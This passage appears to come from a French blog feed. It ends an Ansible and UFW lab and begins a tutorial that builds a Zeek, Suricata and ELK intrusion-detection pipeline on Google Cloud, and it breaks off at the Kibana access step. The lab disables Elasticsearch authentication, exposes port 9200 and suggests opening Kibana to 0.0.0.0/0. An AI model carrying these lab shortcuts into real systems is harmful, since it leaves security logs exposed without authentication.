<span class="hljs-comment"># Activate UFW</span>
- name: Enable UFW
  ansible.builtin.ufw:
    state: enabled
  become: yes
</code></pre>
<p>On a ensuite le fichier <code>/handlers/main.yml</code>, qui redémarre le service Nginx à chaque modification de celui-ci.</p>
<pre><code class="lang-bash">---
- name: Restart nginx
  ansible.builtin.service:
    name: nginx
    state: restarted
    enabled: <span class="hljs-literal">true</span>
</code></pre>
<p>On passe ensuite au rôle du SIEM, pour la détection et l’analyse de sécurité. Dans le fichier <code>/roles/siem/tasks/main.yml</code> on a les tâches suivantes:</p>
<ol>
<li><p>Mettre à jour les paquets</p>
</li>
<li><p>Installer les dépendances et outils essentiels comme curl, vim, wget etc.</p>
</li>
<li><p>Sécuriser SSH</p>
<ol>
<li>Désactiver l’accès root via SSH</li>
</ol>
</li>
<li><p>Installer les outils SIEM</p>
<ol>
<li><p>Installer Zeek</p>
</li>
<li><p>Installer Suricata</p>
</li>
</ol>
</li>
<li><p>Gérer le pare feu</p>
<ol>
<li><p>Blocage par défaut du trafic entrant.</p>
</li>
<li><p>Autorisation totale du trafic sortant.</p>
</li>
</ol>
</li>
</ol>
<pre><code class="lang-bash">---
<span class="hljs-comment"># Upgrade packages</span>
- name: Update and upgrade packages
  ansible.builtin.apt:
    update_cache: yes
    upgrade: dist
  become: yes

<span class="hljs-comment"># SSH</span>
- name: Disabled root login via SSH
  ansible.builtin.lineinfile:
    path: /etc/ssh/sshd_config
    regexp: <span class="hljs-string">'^PermitRootLogin'</span>
    line: <span class="hljs-string">'PermitRootLogin no'</span>
    state: present
    validate: <span class="hljs-string">'/usr/sbin/sshd -t %s'</span>
  notify: Restart SSH Service
  become: yes

- name: Allow SSH from Bastion only
  ansible.builtin.ufw:
    rule: allow
    port: 22
    proto: tcp
    src: 10.10.20.2
  become: yes


<span class="hljs-comment"># Install Zeek and Suricata</span>
- name: Install Zeek
  ansible.builtin.apt:
    name: zeek
    state: present
  notify: Restart Zeek
  become: yes

- name: Install Suricata
  ansible.builtin.apt:
    name: suricata
    state: present
  notify: Restart Suricata
  become: yes

<span class="hljs-comment"># Pare feu</span>
- name: Verify UFW is installed
  ansible.builtin.apt:
    name: ufw
    state: present
  become: yes


<span class="hljs-comment">#  UFW policies</span>
- name: Deny incoming trafic UFW
  ansible.builtin.ufw:
    direction: incoming
    policy: deny
  become: yes

- name: Allow outgoing trafic UFW
  ansible.builtin.ufw:
    direction: outgoing
    policy: allow
  become: yes

<span class="hljs-comment"># Activate UFW</span>
- name: Enable UFW
  ansible.builtin.ufw:
    state: enabled
  become: yes
</code></pre>
<p>Au niveau de <code>/roles/siem/handlers/main.yml</code>, il suffira de rédemarrer les services après modification.</p>
<pre><code class="lang-bash">---
- name: Restart SSH Service
  ansible.builtin.service:
    name: sshd
    state: restarted
    enabled: <span class="hljs-literal">true</span>

- name: Restart Zeek
  ansible.builtin.service:
    name: zeek
    state: restarted
    enabled: <span class="hljs-literal">true</span>

- name: Restart Suricata
  ansible.builtin.service:
    name: suricata
    state: restarted
    enabled: <span class="hljs-literal">true</span>
</code></pre>
<p>Une fois que les rôles sont définis, on peut tester le déploiement avec Ansible pour s’assurer que le tout fonctionne. On teste un rôle à la fois avec la commande suivante. L’option <code>--limit</code> permet d’exécuter le playbook uniquement sur l’hôte spécifié.</p>
<pre><code class="lang-bash">ansible-playbook -i inventory.ini site.yml --<span class="hljs-built_in">limit</span> bastion
ansible-playbook -i inventory.ini site.yml --<span class="hljs-built_in">limit</span> dmz
ansible-playbook -i inventory.ini site.yml --<span class="hljs-built_in">limit</span> siem
</code></pre>
<p>Ce petit lab permet de mettre en place une infra segmentée dans le cloud en combinant Terraform pour le déploiment et Ansible pour la configuration.</p>
<h1 id="heading-documentation">Documentation</h1>
<ul>
<li><p><em>Install terraform | terraform | hashicorp developer</em>. (n.d.). Install Terraform | Terraform | HashiCorp Developer. Retrieved October 25, 2025, from <a target="_blank" href="https://developer.hashicorp.com/terraform/tutorials/gcp-get-started/install-cli">https://developer.hashicorp.com/terraform/tutorials/gcp-get-started/install-cli</a></p>
</li>
<li><p><em>Terraform files—How to structure terraform project</em>. (n.d.). Spacelift. Retrieved October 25, 2025, from <a target="_blank" href="https://spacelift.io/blog/%5Bslug%5D">https://spacelift.io/blog/[slug]</a></p>
</li>
<li><p><em>Ansible configuration settings—Ansible community documentation</em>. (n.d.). Retrieved October 26, 2025, from <a target="_blank" href="https://docs.ansible.com/ansible/latest/reference_appendices/config.html">https://docs.ansible.com/ansible/latest/reference_appendices/config.html</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Mise en place d’un pipeline de détection d’intrusions avec Zeek, Suricata et ELK sur Google Cloud]]></title><description><![CDATA[Cet article présente la mise en place d’un environnement de détection, combinant Zeek, Suricata avec la stack ELK (Elasticsearch, Logstash, Kibana). Il permet de mettre en avant la gestion des logs avec ELK, l’analyse réseau avec Zeek et Suricata, pu...]]></description><link>https://blog.fikara.io/detection-intrusions-zeek-suricata-elk-gcp</link><guid isPermaLink="true">https://blog.fikara.io/detection-intrusions-zeek-suricata-elk-gcp</guid><category><![CDATA[elk]]></category><category><![CDATA[elasticsearch]]></category><category><![CDATA[kibana]]></category><category><![CDATA[elastic search and kibana]]></category><category><![CDATA[zeek]]></category><category><![CDATA[suricata]]></category><category><![CDATA[logstash]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Mon, 27 Oct 2025 04:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/nGoCBxiaRO0/upload/867973bb1728e4064d0d156ec8667119.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cet article présente la mise en place d’un environnement de détection, combinant Zeek, Suricata avec la stack ELK (Elasticsearch, Logstash, Kibana). Il permet de mettre en avant la gestion des logs avec ELK, l’analyse réseau avec Zeek et Suricata, puis la visualisation avec Kibana et Elasticsearch. L’implémentation a été faite sur Google Cloud Platform, avec deux VM Ubuntu configurées pour séparer la capture du trafic et la gestion des données.</p>
<p>L’objectif principal est de construire un pipeline de logs, afin de :</p>
<ul>
<li><p>collecter les événements réseau depuis plusieurs capteurs</p>
</li>
<li><p>les normaliser et les transférer vers Logstash via Filebeat</p>
</li>
<li><p>puis les visualiser dans Kibana pour faciliter la détection</p>
</li>
</ul>
<h1 id="heading-composants">Composants</h1>
<ul>
<li><p><strong>Zeek</strong>: système de détection d’intrusion IDS et d’analyse de trafic réseau. Il permet de générer des logs et fichiers détaillés sur les connexions et les activités observées.</p>
</li>
<li><p><strong>Suricata</strong>: IDS/IPS qui utilise des règles de détection pour inspecter le trafic et déclencher des alertes</p>
</li>
<li><p><strong>ELK</strong>: ensemble de trois outils</p>
<ul>
<li><p><strong>Elasticsearch</strong>: pour le stockage de logs, la recherche et l’analyse de ces logs.</p>
</li>
<li><p><strong>Logstash</strong>: collecte des logs de Zeek et Suricata via Filebeat, transformation de ces logs en format JSON ou CSV puis envoi à Elasticsearch pour stockage.</p>
</li>
<li><p><strong>Kibana</strong>: pour la visualisation des données et création de dashboard</p>
</li>
</ul>
</li>
<li><p><strong>Filebeat</strong>: pour la collecte des logs des deux IDS et l’envoi à Logstash</p>
</li>
</ul>
<p>Voici un diagramme montrant l’architecture du projet et les différentes étapes.</p>
<pre><code class="lang-mermaid">graph TD
    A[Attaques simulées&lt;br&gt;Kali, Nmap, Hydra] --&gt; B[Capture du trafic&lt;br&gt;Zeek &amp; Suricata]
    B --&gt; C[Filebeat&lt;br&gt;Collecte des logs]
    C --&gt; |Envoi des logs| D[Logstash&lt;br&gt;Transformation des logs]
    D --&gt; E[Elasticsearch&lt;br&gt;Stockage &amp; Indexation]
    E --&gt; F[Kibana&lt;br&gt;Dashboards &amp; visualisation]
</code></pre>
<h1 id="heading-etape-1-preparation-de-lenvironnement-dans-gcp">Étape 1: Préparation de l’environnement dans GCP</h1>
<p>La première étape consiste à configurer l’environnement de lab afin de simuler le réseau, capturer le trafic. On opte pour trois machines sur Google Cloud Platform (GCP):</p>
<ul>
<li><p>une machine vm1-ubuntu de 23G de disque, pour Zeek et Suricata</p>
</li>
<li><p>une machine vm2-ubuntu de 23G de disque, pour ELK qui sera installé via Docker.</p>
</li>
</ul>
<p>Les machines sont installées avec les configurations de bases. Pour le réseau, on choisit une configuration standard de GCP qui utilise VPC en mode <code>Bridge</code> afin d’avoir une réelle intégration réseau. Chaque VM dispose d’une IP interne pour la communication interne au VPC et aussi une IP externe lorsqu’on veut y accéder depuis l’externe. L’IP interne est utilisée pour la communication entre les machines et l’IP externe pour l’accès à Kibana par exemple, après avoir ajouter des règles de pare-feu pour autoriser les ports.</p>
<h2 id="heading-installation-de-zeek-sur-la-vm1">Installation de Zeek sur la vm1</h2>
<p>Installer les dépendances pour Zeek:</p>
<pre><code class="lang-bash">sudo apt update 
sudo apt install build-essential cmake make gcc g++ flex bison libpcap-dev libssl-dev python3-dev zlib1g-dev swig
</code></pre>
<p>Télécharger <a target="_blank" href="https://zeek.org/get-zeek/">Zeek</a> depuis le site officiel avec la commande suivante:</p>
<pre><code class="lang-bash">wget https://download.zeek.org/zeek-8.0.1.tar.gz
</code></pre>
<p>Extraire le fichier</p>
<pre><code class="lang-bash"> tar -xvzf zeek-8.0.1.tar.gz
</code></pre>
<p>Se déplacer dans le répertoire du fichier extrait puis configurer zeek avec la commande suivante:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> zeek-8.0.1/
./configure
</code></pre>
<p>Il est possible que la commande montre des configurations incomplètes ou ne localisent pas toutes les librairies. Voici l’erreur que j’ai eue personnellement à cette commande.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756940669519/9d4248b9-e386-4db5-9781-b92dff6216a6.png" alt class="image--center mx-auto" /></p>
<p>On a d’abord la librairie ZeroMQ manquante, puis le cache à nettoyer. Pour résoudre cela, il faut installer la librairie avec la commande suivante:</p>
<pre><code class="lang-bash">sudo apt-get install libzmq3-dev
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760628748534/f615b022-23c9-43a5-a00c-bf170de500f3.png" alt class="image--center mx-auto" /></p>
<p>Puis vider le cache avec la commande</p>
<pre><code class="lang-bash"> make distclean
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760628548288/dc0e6c4f-c83e-4244-ae91-050c6d9395bc.png" alt class="image--center mx-auto" /></p>
<p>Sans ces deux réglages il ne serait pas possible de continuer. Une fois le problème résolu, il faut reconfigurer zeek avec la commande :</p>
<pre><code class="lang-plaintext">./configure
</code></pre>
<p>Compiler ensuite avec les commandes suivantes:</p>
<pre><code class="lang-bash">make
sudo make install
</code></pre>
<p>À noter que chacune de ces deux commandes peut prendre un bout de temps à s’exécuter.</p>
<p>Une fois que Zeek est configuré, il faut l’ajouter au PATH du système, afin de pouvoir lancer les commandes zeek depuis n’importe quel répertoire. Il faut donc ajouter le répertoire de zeek au fichier <code>.bashrc</code> ou <code>.zshrc</code>.</p>
<pre><code class="lang-bash">nano ~/.bashrc
</code></pre>
<p>Ajouter la ligne suivante en incluant le répertoire de zeek, <mark>à la fin du fichier</mark>. Ici, Zeek a été installé dans le répertoire <code>/usr/local/zeek</code>, les exécutables sont donc dans le répertoire <code>/usr/local/zeek/bin</code>.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> PATH=<span class="hljs-string">"/usr/local/zeek/bin:<span class="hljs-variable">$PATH</span>"</span>
</code></pre>
<p>Sauvegarder et quitter le fichier pour appliquer les changements avec la commande</p>
<pre><code class="lang-bash"><span class="hljs-built_in">source</span> ~/.bashrc
</code></pre>
<p>Vous pouvez ensuite vérifier la version et l’emplacement de zeek et les logs avec la commande suivante:</p>
<pre><code class="lang-bash">zeek --version
<span class="hljs-built_in">which</span> zeek
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760657776239/1adbefd4-27f4-4563-84be-4f6f90f71425.png" alt class="image--center mx-auto" /></p>
<p>Lancer Zeek avec la commande suivante:</p>
<pre><code class="lang-bash">zeekctl deploy
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760657804639/a18668bf-c3ea-49c6-8e02-6b2c4a451ec4.png" alt class="image--center mx-auto" /></p>
<p>Zeek est bien installé, mais l’utilisateur n’a pas les droits d’écrire dans le fichier <code>/usr/local/zeek/spool/</code>. Remplacer USER par le nom d’utilisateur</p>
<pre><code class="lang-bash">sudo chown -R [USER]:[USER] /usr/<span class="hljs-built_in">local</span>/zeek/spool
sudo chown -R [USER]:[USER] /usr/<span class="hljs-built_in">local</span>/zeek
</code></pre>
<p>En exécutant maintenat <code>zeekctl deploy</code>, on peut lancer zeek.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760657916079/34b853d3-ab2b-402f-91d4-d008dbf8e6d3.png" alt class="image--center mx-auto" /></p>
<p>Zeek démarre mais on voit qu’il s’arrête automatiquement après.</p>
<p>On essaie de vérifier les logs générés dans le fichier <code>/usr/local/zeek/logs</code>.</p>
<pre><code class="lang-bash">ls  /usr/<span class="hljs-built_in">local</span>/zeek/logs
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760658502487/7a8586b6-c40f-4fdb-97b2-c2bd71a7e2d5.png" alt class="image--center mx-auto" /></p>
<p>On peut donc voir les premiers logs de sorties et d’erreurs de Zeek. Le fichier <code>stderr.log</code> capture les messages d’erreur générés puis le fichier <code>stdout.log</code> capture les messages de sortie de Zeek.</p>
<p>En essayant de lire le fichier de log <code>stderr.log</code>, il y a une petite erreur au niveau de l’interface <code>eth0</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760658535582/13fb31b5-532a-4aa7-8e0a-732ad923913a.png" alt class="image--center mx-auto" /></p>
<p>On voit que Zeek n’a pas les permissions pour analyser le trafic sur l’interface <code>eth0</code>. Il faut donc donner les droits de capture avec la commande suivante:</p>
<pre><code class="lang-bash">sudo <span class="hljs-built_in">setcap</span> cap_net_raw,cap_net_admin=eip /usr/<span class="hljs-built_in">local</span>/zeek/bin/zeek
</code></pre>
<p>En vérifiant aussi avec <code>ip a</code>, on voit que zeek essaie de démarrer sur l’interface <code>eth0</code>, alors que l’interface active sur la machine est l’interface <code>ens4</code>. Il faut donc modifier la configuration de zeek afin qu’elle démarre sur la bonne interface</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760659429936/11608524-c08c-43de-ba05-e1fc159b36fd.png" alt class="image--center mx-auto" /></p>
<p>Pour cela, exécutez les commandes suivantes</p>
<pre><code class="lang-bash">sudo nano /usr/<span class="hljs-built_in">local</span>/zeek/etc/node.cfg
</code></pre>
<p>Remplacez ensuite <code>eth0</code> par <code>ens4</code>, ou l’interface de la machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760658650486/bd9c28eb-a0b3-4322-9932-4b24ad813406.png" alt class="image--center mx-auto" /></p>
<p>Cela permet donc à Zeek de démarrer sur l’interface <code>ens4</code> qui est celle active. On a donc réglé les deux problèmes au niveau de la permission pour l’analyse du trafic, puis de l’interface. Il faut donc relancer avec la commande <code>zeekctl deploy</code>.</p>
<p>Cette fois, Zeek démarre bien sans erreur.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760659530485/dfbb5c22-520b-4b9b-9454-1d90ebe361ca.png" alt class="image--center mx-auto" /></p>
<p>On peut donc vérifier les fichiers de logs dans <code>/usr/local/zeek/logs</code> avec la commande:</p>
<pre><code class="lang-bash">ls /usr/<span class="hljs-built_in">local</span>/zeek/logs
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760917676873/02d591cb-c908-4b9e-8ce3-4cbfaece4201.png" alt class="image--center mx-auto" /></p>
<p>Zeek génère bien les fichiers de logs maintenant en format gzip. On a ici deux répertoires: <code>/usr/local/zeek/logs/current</code> et <code>usr/local/zeek/logs/2025-09-04</code>.</p>
<p>Le répertoire <code>/current</code> représente le répertoire actif en cours d’exécution. Il contient les logs du Zeek qui tourne au moment où il tourne. Au redémarrage de Zeek une autre fois, les fichiers sont déplacés de <code>/current</code> vers un dossier daté comme <code>/2025-09-04</code>, un peu comme un archivage selon la date. Le répertoire <code>/current</code> contient plusieurs fichiers courants:</p>
<ul>
<li><p><code>conn.log</code> enregistre les connexions réseaux</p>
</li>
<li><p><code>http.log</code> enregistre les requêtes HTTP incluant les enquêtes et les codes</p>
</li>
<li><p>stats.log enregistre les statistiques de capture.</p>
</li>
<li><p><code>dns.log</code> enregistre les requêtes et réponses DNS</p>
</li>
<li><p><code>weird.log</code> enregistre les comportements réseaux suspects</p>
</li>
</ul>
<p>Le répertoire <code>/2025-09-04/</code> est l’archive d’une journée de logs. Il contient des fichiers compressés en <code>.log.gz</code> déplacés du répertoire <code>/current</code>. On peut les lire sans les extraire, avec la commande <code>zcat</code>.</p>
<p>Vous pouvez voir la liste complète des fichiers sur le <a target="_blank" href="https://docs.zeek.org/en/master/script-reference/log-files.html">site officiel</a>.</p>
<h2 id="heading-installation-de-suricata-sur-la-vm1">Installation de Suricata sur la vm1</h2>
<p>Mettre à jour le système</p>
<pre><code class="lang-bash">sudo apt update
sudo apt upgrade -y
</code></pre>
<p>Installer la dernière version de Suricata avec les commandes suivantes:</p>
<pre><code class="lang-bash">sudo apt-get install software-properties-common
sudo add-apt-repository ppa:oisf/suricata-stable
sudo apt-get update
sudo apt-get install suricata
</code></pre>
<p>Vérifier ensuite avec la commande suivante</p>
<pre><code class="lang-bash">suricata -V
suricata --build-info
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760659801722/eb6d2a0b-0af4-4ec4-844e-b29fc7beb461.png" alt class="image--center mx-auto" /></p>
<p>Au niveau de Suricata, les logs sont générés dans le répertoire <code>/var/log/suricata/</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760659859161/d73378f4-f541-46f0-9aac-350acfc742de.png" alt class="image--center mx-auto" /></p>
<p>On y retrouve les fichiers suivants:</p>
<ul>
<li><p><code>fast.log</code> contient un résumé des alertes générées</p>
</li>
<li><p><code>eve.json</code> contient les infos détaillées sur les alertes</p>
</li>
<li><p><code>stats.log</code> affiche les statistiques et l’état de Suricata</p>
</li>
<li><p><code>suricata.log</code> contient le journal de Suricata, c’est-à-dire les infos sur le démarrage, l’arrêt, les erreurs etc.</p>
</li>
</ul>
<p>Il faut ensuite configurer Suricata par la suite. Le fichier principal de configuration se trouve dans le répertoire <code>/etc/suricata/suricata.yaml</code>.On doit y déterminer l’interface réseau et l’adresse IP sur laquelle Suricata doit inspecter. Pour cela, vérifiez les informations de votre réseau avec la commande <code>ip a</code>.</p>
<p>Ouvrez ensuite le fichier de configuration, et cherchez la section <code>af-packet</code>.</p>
<pre><code class="lang-bash">sudo nano /etc/suricata/suricata.yaml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757032383865/e76b26ad-4506-4115-8bb0-6b9a2ae5be91.png" alt class="image--center mx-auto" /></p>
<p>On va ensuite modifier l’interface <code>eth0</code> par celle de notre machine.</p>
<p>Télécharger les signatures et les règles Suricata avec la commande suivante:</p>
<pre><code class="lang-bash">sudo suricata-update
</code></pre>
<p>Démarrer le service Suricata par la suite</p>
<pre><code class="lang-bash">sudo systemctl <span class="hljs-built_in">enable</span> suricata
sudo systemctl start suricata
</code></pre>
<p>Vous pouvez ensuite vérifier le contenu de ces fichiers.</p>
<h2 id="heading-installation-docker-sur-la-vm2">Installation Docker sur la vm2</h2>
<p>Au niveau de la vm2 ubuntu, il faut installer Docker et déployer ELK (Elaticsearch, Logstach puis Kibana).</p>
<p>Pour installer Docker, mettre à jour la VM en premier puis installer les paquets nécessaires:</p>
<pre><code class="lang-bash">sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
</code></pre>
<p>Ajouter ensuite le dépôt officel Docker.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> \
  <span class="hljs-string">"deb [arch=<span class="hljs-subst">$(dpkg --print-architecture)</span> signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  <span class="hljs-subst">$(. /etc/os-release &amp;&amp; echo <span class="hljs-string">"<span class="hljs-variable">${UBUNTU_CODENAME:-<span class="hljs-variable">$VERSION_CODENAME</span>}</span>"</span>)</span> stable"</span> | \
  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null
sudo apt-get update
</code></pre>
<p>Installer la dernière version de Docker</p>
<pre><code class="lang-bash">sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
</code></pre>
<p>Vous pouvez ensuite vérifier l’installation</p>
<pre><code class="lang-bash"> sudo docker version
sudo systemctl status docker
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760715913832/8da3ced1-5dba-4ffd-9e84-2d0772215df7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760715938286/e969a32f-3bb2-4a95-b1b5-9d6113e2a9b3.png" alt class="image--center mx-auto" /></p>
<p>Pour simplifier le déploiement de ELK, on installe aussi Docker Compose. Il est utile dans ce cas car ELK comporte trois services principaux. Sans Docker Compose, il faudrait télécharger, configurer puis gérer manuellement les ports, réseaux pour chaque service. Docker Compose permet d’écrire puis gérer le tout dans un seul fichier <code>docker-compose.yml</code>, Mais Docker Compose est déjà présent sur certaines versions de Ubuntu, donc plus besoin d’installer le paquet. Vous pouvez vérifier avec la commande suivante:</p>
<pre><code class="lang-bash">docker compose version
</code></pre>
<p>Sinon installez Docker Compose</p>
<pre><code class="lang-bash">sudo apt install docker compose -y
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760715962387/8558458b-574b-4620-9d7e-0f05070471bf.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-deployer-elk-via-docker-compose-sur-la-vm2">Déployer ELK via Docker Compose sur la vm2</h2>
<p>Créer un répertoire pour ELK</p>
<pre><code class="lang-bash">mkdir ELK
<span class="hljs-built_in">cd</span> ELK
</code></pre>
<p>Créer le fichier <code>docker-compose.yml</code></p>
<pre><code class="lang-bash">nano docker-compose.yml
</code></pre>
<pre><code class="lang-yaml">
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">elasticsearch:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.elastic.co/elasticsearch/elasticsearch:8.17.0</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">elasticsearch</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">node.name=elasticsearch</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">discovery.type=single-node</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">xpack.security.enabled=false</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">xpack.security.audit.enabled=true</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ES_JAVA_OPTS=-Xms1g</span> <span class="hljs-string">-Xmx1g</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elasticsearch-data:/usr/share/elasticsearch/data</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"9200:9200"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elk</span>

  <span class="hljs-attr">kibana:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.elastic.co/kibana/kibana:8.17.0</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">kibana</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">ELASTICSEARCH_HOSTS=http://elasticsearch:9200</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5601:5601"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elk</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elasticsearch</span>

  <span class="hljs-attr">logstash:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">docker.elastic.co/logstash/logstash:8.17.0</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">logstash</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./logstash/pipeline:/usr/share/logstash/pipeline</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"5044:5044"</span>
    <span class="hljs-attr">networks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elk</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">elasticsearch</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">elasticsearch-data:</span>

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">elk:</span>
    <span class="hljs-attr">driver:</span> <span class="hljs-string">bridge</span>
</code></pre>
<p>Voici une petite explication des paramètres utilisés dans le fichier</p>
<ul>
<li><p><code>image</code>: définit la version de l’image Docker à utiliser pour créer le conteneur.</p>
</li>
<li><p><code>discovery.type=single-node</code>: configure Elasticsearch en mode single-node, signifiant qu’il fonctionnera comme un nœud unique sans essayer de se connecter à d'autres nœuds.</p>
</li>
<li><p><code>xpack.security.enabled=false</code>: désactive les fonctionnalités de sécurité, telles que l’authentification et l’autorisation, utile ici vu qu’il s’agit d’un test.</p>
</li>
<li><p><code>xpack.security.audit.enabled=true:</code> active l’audit de sécurité afin de suivre les évènements dans Elasticsearch.</p>
</li>
<li><p><code>ES_JAVA_OPTS=-Xms1g -Xmx1g</code>: configure les options de la machine, spécifiant la mémoire initiale et maximale allouée à la machine</p>
</li>
<li><p><code>volumes: elasticsearch-data</code>: volume utilisé pour stocker les données de manière persistante</p>
</li>
<li><p>ports: permet d’exposer le service sur un port précis</p>
</li>
<li><p>networks: créé un réseau interne dédié aux conteneurs, pour faciliter la communication avec d’autres services comme <code>Logstash</code> et <code>Kibana</code> dans le meme réseau elk.</p>
</li>
</ul>
<p>Pour la suite, lancer ELK</p>
<pre><code class="lang-yaml"><span class="hljs-string">sudo</span> <span class="hljs-string">docker</span> <span class="hljs-string">compose</span> <span class="hljs-string">up</span> <span class="hljs-string">-d</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760716265833/bd656c50-a9c7-4876-ad28-dcbd768e0dce.png" alt class="image--center mx-auto" /></p>
<p>Les deux commandes doivent être exécutées après chaque redémarrage de votre poste, afin de redémarrer ELK.</p>
<p>Vous pouvez ensuite vérifier que les services roulent bien et que les ports sont bien ouverts avec la commande suivante:</p>
<pre><code class="lang-bash">sudo docker ps
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760643040794/233c1b98-031b-45b3-9268-38f2dcdf307d.png" alt class="image--center mx-auto" /></p>
<p>Redémarrer ensuite la machine puis relancez ELK avec la commande suivante</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> ELK/
sudo docker compose start
</code></pre>
<p>Pour vérifier Elasticsearch:</p>
<pre><code class="lang-bash">curl -X GET http://localhost:9200
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760643115792/1708715d-2cec-4cef-a0cf-5613924e899b.png" alt class="image--center mx-auto" /></p>
<p>On a bien Elasticsearch sur le port 9200, en version 8.17.0.</p>
<p>On peut aussi vérifier depuis la vm1, avec la commande suivante</p>
<pre><code class="lang-bash">curl -X GET http://IP_VM2:9200
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760643907262/c6d6d8d0-e0ce-4d2a-b0c7-a399f6ce76f9.png" alt class="image--center mx-auto" /></p>
<p>Kibana étant une interface graphique, on peut aussi y accéder depuis le navigateur. Si vous êtes sur une machine en local, ou dans le même réseau que la VM, vous pouvez y accéder directement via l’adresse suivante:</p>
<pre><code class="lang-bash">http://IP_VM2:5601
</code></pre>
<p>Dans notre cas ici, la VM est hébergée sur Google Cloud Platform (GCP). Avant d’y accéder depuis l’extérieur, il faut que le pare-feu du réseau VPC autorise le traffic entrant sur le port 5601 de Kibana. On va donc créer une règle de pare feu dans GCP. Vous pouvez y accéder via le lien suivant: <a target="_blank" href="https://console.cloud.google.com/">https://console.cloud.google.com/net-security/firewall-manager/firewall-policies/list?hl=fr</a></p>
<p>Lors de la création de la règle, il est important de spécifier les paramètres suivants:</p>
<ul>
<li><p>le nom: allow-kibana</p>
</li>
<li><p>la source: une adresse IP qui sera autorisée. Par exemple 0.0.0.0/0 pour tout le monde, ou l’adresse IP publique de votre machine.</p>
</li>
<li><p>la cible: la VM sur laquelle ELK est installée ou toutes les instances du réseau</p>
</li>
<li><p>le port et le protocole: <code>tcp:5601</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760655243177/41e89369-c748-4b3a-b01e-9ec6e74a7c56.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760655605708/9aa474ef-c1b4-4de6-b62d-22b71192de85.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760656569049/9a1cafad-5427-4b68-a1e2-e3dc3fa8203b.png" alt class="image--center mx-auto" /></p>
<p>Une fois la règle est créée, Kibana devient accessible à l’adresse suivante:</p>
